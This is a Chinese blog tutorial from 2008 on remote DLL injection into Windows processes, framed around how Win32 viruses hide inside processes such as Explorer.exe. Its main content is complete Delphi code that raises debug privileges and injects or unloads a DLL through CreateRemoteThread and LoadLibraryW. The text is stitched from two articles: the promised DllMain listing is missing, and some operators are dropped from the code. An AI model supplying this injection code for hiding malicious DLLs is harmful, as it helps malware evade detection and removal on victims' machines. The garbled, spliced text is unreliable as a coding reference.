DLL注入实例(附详解)

DLL注入实例(附详解)
2008年11月30日 星期日 22:42
DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中,在系统启动的时候,一个EXE程序会将这个DLL加载至某些系统进程(如Explorer.exe)中运行。

  这样一来,普通的进程管理器就很难发现这种病毒了,而且即使发现了也很难清除,因为只要病毒寄生的进程不终止运行,那么这个DLL就不会在内存中卸载,用户也就无法在资源管理器中删除这个DLL文件,真可谓一箭双雕哉。

  记得2003年QQ尾巴病毒肆虐的时候,就已经有些尾巴病毒的变种在使用这种技术了。

  到了2004年初,我曾经尝试着仿真了一个QQ尾巴病毒,但独是跳过了DLL的远程加载技术。

  直到最近在学校论坛上看到了几位朋友在探讨这一技术,便忍不住将这一尘封已久的技术从我的记忆中拣了出来,以满足广大的技术爱好者们。


  必备知识

  在阅读本文之前,你需要了解以下几个API函数:

  ·OpenProcess - 用于打开要寄生的目标进程。

  ·VirtualAllocEx/VirtualFreeEx - 用于在目标进程中分配/释放内存空间。

  ·WriteProcessMemory - 用于在目标进程中写入要加载的DLL名称。

  ·CreateRemoteThread - 远程加载DLL的核心内容,用于控制目标进程调用API函数。

  ·LoadLibrary - 目标进程通过调用此函数来加载病毒DLL。

  在此我只给出了简要的函数说明,关于函数的详细功能和介绍请参阅MSDN。


  示例程序

  我将在以下的篇幅中用一个简单的示例Virus.exe来实现这一技术。这个示例的界面如下图:

首先运行Target.exe,这个文件是一个用Win32 Application向导生成的“Hello, World”程序,
用来作为寄生的目标进程。

  然后在界面的编辑控件中输入进程的名称“Target.exe”,单击“注入DLL”按钮,
这时候Virus.exe就会将当前目录下的DLL.dll注入至Target.exe进程中。

  在注入DLL.dll之后,你也可以单击“卸载DLL”来将已经注入的DLL卸载。

  模拟的病毒体DLL.dll

  这是一个简单的Win32 DLL程序,它仅由一个入口函数DllMain组成:
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远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL. 首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的. function EnableDebugPriv: Boolean; var hToken: THandle; tp: TTokenPrivileges; rl: Cardinal; begin Result := false; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //获得进程本地唯一ID if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //调整权限 Result := AdjustTokenPrivileges(hToken, false, tp, SizeOf(tp), nil, rl); end; end; 关于 OpenProcessToken() 和 AdjustTokenPrivileges() 两个 API 的简单介绍: OpenProcessToken():获得进程访问令牌的句柄. function OpenProcessToken( ProcessHandle: THandle; //要修改访问权限的进程句柄 DesiredAccess: DWORD; //指定你要进行的操作类型 var TokenHandle: THandle//返回的访问令牌指针 ): BOOL; AdjustTokenPrivileges() :调整进程的权限. function AdjustTokenPrivileges( TokenHandle: THandle; // 访问令牌的句柄 DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限 const NewState: TTokenPrivileges; { 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组, 数据组的每个项指明了权限的类型和要进行的操作; } BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为 0 var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息 var ReturnLength: DWORD //实际PreviousState结构返回的大小 ) : BOOL; 远程注入DLL其实是通过 CreateRemoteThread 建立一个远程线程调用 LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。所我们需要在远程进程的内存空间里申请一块内存空间,写入我们的需要注入DLL 的路径. 需要用到的 API 函数有: OpenProcess():打开目标进程,得到目标进程的操作权限,详细参看MSDN function OpenProcess( dwDesiredAccess: DWORD; // 希望获得的访问权限 bInheritHandle: BOOL; // 指明是否希望所获得的句柄可以继承 dwProcessId: DWORD // 要访问的进程ID ): THandle; VirtualAllocEx():用于在目标进程内存空间中申请内存空间以写入DLL的文件名 function VirtualAllocEx( hProcess: THandle; // 申请内存所在的进程句柄 lpAddress: Pointer; // 保留页面的内存地址;一般用nil自动分配 dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍 flAllocationType: DWORD; flProtect: DWORD ): Pointer; WriteProcessMemory():往申请到的空间中写入DLL的文件名 function WriteProcessMemory( hProcess: THandle; //要写入内存数据的目标进程句柄 const lpBaseAddress: Pointer; //要写入的目标进程的内存指针, 需以 VirtualAllocEx() 来申请 lpBuffer: Pointer; //要写入的数据 nSize: DWORD; //写入数据的大小 var lpNumberOfBytesWritten: DWORD //实际写入的大小 ): BOOL; 然后就可以调用 CreateRemoteThread 建立远程线程调用 LoadLibrary 函数来加载我们指定的DLL. CreateRemoteThread() //在一个远程进程中建立线程 function CreateRemoteThread( hProcess: THandle; //远程进程的句柄 lpThreadAttributes: Pointer; //线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针 dwStackSize: DWORD; //线程栈大小,以字节表示 lpStartAddress: TFNThreadStartRoutine; // 一个TFNThreadStartRoutine类型的指针,指向在远程进程中执行的函数地址 lpParameter: Pointer; //传入参数的指针 dwCreationFlags: DWORD; //创建线程的其它标志 var lpThreadId: DWORD //线程身份标志,如果为0, 则不返回 ): THandle; 整个远程注入DLL的具体实现代码如下: function InjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: Pointer; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin lpThreadId := 0; // 计算LoadLibraryW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'LoadLibraryW'); // 启动远程线程LoadLbraryW,通过远程线程调用创建新的线程 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 如果执行成功返回 True; if (hRemoteThread 0) then Result := true; // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end; 接下来要说的是如何卸载注入目标进程中的DLL,其实原理和注入DLL是完全相同的,只是远程调用调用的函数不同而已,这里要调用的是FreeLibrary,代码如下: function UnInjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; // 进程注入和取消注入其实都差不多,只是运行的函数不同而已 var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: PChar; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId, dwHandle: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin // 计算GetModuleHandleW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'GetModuleHandleW'); //使目标进程调用GetModuleHandleW,获得DLL在目标进程中的句柄 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 等待GetModuleHandle运行完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 获得GetModuleHandle的返回值,存在dwHandle变量中 GetExitCodeThread(hRemoteThread, dwHandle); // 计算FreeLibrary的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'FreeLibrary'); // 使目标进程调用FreeLibrary,卸载DLL hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, Pointer(dwHandle), 0, lpThreadId); // 等待FreeLibrary卸载完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 如果执行成功返回 True; if hRemoteProcess 0 then Result := true; // 释放目标进程中申请的空间 VirtualFreeEx(hRemoteProcess, pszLibFileRemote, Length(DllFullPath) + 1, MEM_DECOMMIT); // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end;

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